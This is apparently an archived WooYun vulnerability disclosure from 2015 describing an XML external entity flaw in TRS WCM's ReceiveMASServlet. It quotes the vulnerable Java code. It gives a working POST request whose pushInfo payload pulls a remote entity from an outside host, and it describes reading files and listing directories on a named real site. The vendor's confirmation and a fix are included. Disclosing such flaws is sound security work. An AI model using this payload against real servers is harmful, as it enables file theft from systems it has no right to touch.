当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145924

漏洞标题:TRSWCM 文件读取漏洞通杀较新版本(二)

相关厂商:北京拓尔思信息技术股份有限公司

漏洞作者: applychen

提交时间:2015-10-11 09:06

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-11: 细节已通知厂商并且等待厂商处理中
2015-10-12: 厂商已经确认,细节仅向厂商公开
2015-10-15: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-06: 细节向核心白帽子及相关领域专家公开
2015-12-16: 细节向普通白帽子公开
2015-12-26: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

貌似是后续更新的时候添加的一个功能,通杀较新版本。

详细说明:

其实还是XML实体注入,不过这次是用的DOM解析XML。
web.xml中配置的Servlet ReceiveMASServlet:

<servlet>
<servlet-name>ReceiveMASServlet</servlet-name>
<servlet-class>com.trs.components.video.ReceiveMASServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ReceiveMASServlet</servlet-name>
<url-pattern>/app/video/ReceiveMASServlet</url-pattern>
</servlet-mapping>


对应的com/trscomponents/video/ReceiveMASServlet.java代码如下:

protected void service(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
String event = request.getParameter("event");
String string = request.getParameter("pushInfo");
LOG.info("push event: " + event);
LOG.info("push pushInfo: " + string);
if (string != null)
{
Element root = SimpleConsoleLogger.parserXml(string);//解析XML入口
if (root.element("time") != null || "time".equals(root.element("time")))
{


获取pushInfo参数的数值,然后SimpleConsoleLogger.parserXml()解析XML,方法如下:

public static Element parserXml(String fileName)
{
Element root = null;
try {
System.out.println("filename:" + fileName);
Document document = DocumentHelper.parseText(fileName);//DOM解析XML
root = document.getRootElement();
}
catch (DocumentException e)
{
e.printStackTrace();
}
return root;
}


以上调用DocumentHelper.parseText()解析XML。
同样的还是burpsuite直接发送以下包:

POST /wcm/app/video/ReceiveMASServlet HTTP/1.1
Host: cms.ce.cn
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=70C0A254A8662618477A7C2C709C614A
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
pushInfo=<!DOCTYPE+root+[<!ENTITY+%25+remote+SYSTEM+"http%3a//ip/1.xml">%25remote%3b]>


由于trswcm默认jdk是<1.7的所以在1.xml中用gopher协议控制读取文件列目录等操作,以cms.ce.cn为例进行测试,列目录:

1.png


读取文件config.xml:

2.png


漏洞证明:

同上

修复方案:

过滤pushInfo参数传递的数据中的<!DOCTYPE关键字或者在底层禁止引用实体

版权声明:转载请注明来源 applychen@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-10-12 13:37

厂商回复:

感谢您的反馈,经确认问题存在。在非可控的xml输入源的情况下,解析xml时存在安全隐患,目前已完成修复方案的制定和补丁包的提供,将尽快为用户进行修复。
*** 安全无止境,我们一直在努力!***

最新状态:

暂无